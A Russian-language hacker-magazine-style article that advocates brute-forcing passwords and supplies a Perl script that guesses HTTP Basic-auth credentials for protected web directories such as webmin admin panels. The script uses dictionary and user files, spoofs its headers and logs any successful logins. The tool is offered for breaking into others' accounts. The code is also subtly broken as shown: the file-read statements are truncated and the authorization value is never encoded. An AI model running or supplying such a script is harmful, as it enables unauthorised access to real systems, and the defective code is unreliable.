Существует несколько подходов к взлому чьего-либо пароля. Самый "тупой"
способ - брутфорс (последовательный перебор паролей по словарю, либо по
предварительно сгенерированным паролем). Данный способ актуален лишь
тогда, когда других способов попросту нет. И работает он исключительно
на удачу ;) То есть, пароль может подобраться со второй попытки, либо
через несколько лет. А может вообще не подобраться (по истечению
словарного запаса =)). Еще одна слабость брутфорса - это медленная
работа... Особенно, если ты на диалапе. Да и сами виндовые брутфорсы
глючат... Пока резолвнут адрес, пока сконнектятся, пока
передадут/получат данные - пройдет довольно много времени. Дохлый
номер... наверное подумаешь ты ;) Но я тебя обрадую... Брутфорс дает
хорошие плоды, если программа грамотно написана и запущена с *nix
шелла, с хорошим каналом ;) Чтобы удовлетворить эти 2 потребности
потребуются два компонента: - Прямые руки - *nix шелл с открытыми
соединениями в internet + поддержка background processes В общем-то
достаточно... Таким образом, у нас два среды для написания брутфорса -
Си и Перл. Как истинный фанат я остановлюсь на втором =) Perl -
установлен практически на любой linux-тачке, так что проблем с
интерпретатором у нас не возникнет. Итак, пишем брутфорс, который
подбирает пароль к запароленой директории на www (например webmin или
radius-admin). В этом случае имя пользователя должно быть известно.
Сущность www-авторизации (basic) была описана в предыдущих статьях (),
так что повторяться не буду. Для создании MimeCode в Perl существует
компонент MIME::Base64. его мы и используем. Итак, поехали: #!/usr/bin/perl
use MIME::Base64; use IO::Socket; use POSIX; ### Подрубаем модули POSIX, Socket и Base64
$server="127.0.0.1"; ### Удаленный сервер $port="80"; ### Удаленный порт $dir="/admin"; ### Запароленная директория $logfile="sucess.log"; ### Логфайл, куда пишем пароль $log="now.log"; ### Логфайл, куда пишем статус (что происходит в данную минуту) $words="bigdict.txt"; ### Словарь (файл с паролями) $users="users.txt"; ### Имя пользователя
open(file, "<$words") or die print "$!\n"; @pwd_data=; $total=@pwd_data; close file; ### Записываем все пароли в один массив
open(file, "<$users") or die print "$!\n"; @users_data=; $total*=@users_data; close file; ### Записываем всех пользователей в один массив
$i=0; foreach $user (@users_data) { foreach $pass (@pwd_data) { $i++; chomp($pass); chomp($user); open(file, ">$log") or die print "$!\n"; $perc=($i*100)/$total; $perc=ceil($perc); ### Высчитываем процент print file "$perc\% Done\t$i of $total\t\tNow: $user\:$pass\n"; ### Пишем в лог статус close file;
### Порождаем сокет
$socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort
=> $port, Proto => 'tcp', Type => SOCK_STREAM) or die print
"Unable to connect to $server:$port\n"; print $socket "GET $dir HTTP/1.1\n"; print $socket "Host: $server\n"; print $socket "Accept: */*\n"; print $socket "Referer: http://support.microsoft.com/\n"; print $socket "User-Agent: Internet Explorer 6.0\n"; print $socket "Pragma: no-cache\n"; print $socket "Cache-Control: no-cache\n"; print $socket "Authorization: Basic $auth\n"; print $socket "Connection: close\n\n"; ### Отправляем http-данные + Mime-хеш
$ans=<$socket>; ### Получаем ответ от сервера if ($ans=~/200 Ok/i or $ans=~/301/i) { open(logf, ">>$logfile") or die print "$!\n"; ### Если пароль верный - пишем в success-лог print logf "$user:$pass is OK!!!\n"; close logf; } close($socket); } }
Таким
образом брутфорс будет работать пока не закончится словарь с паролями,
либо пока пароль не подберется: все зависит от удачи ;)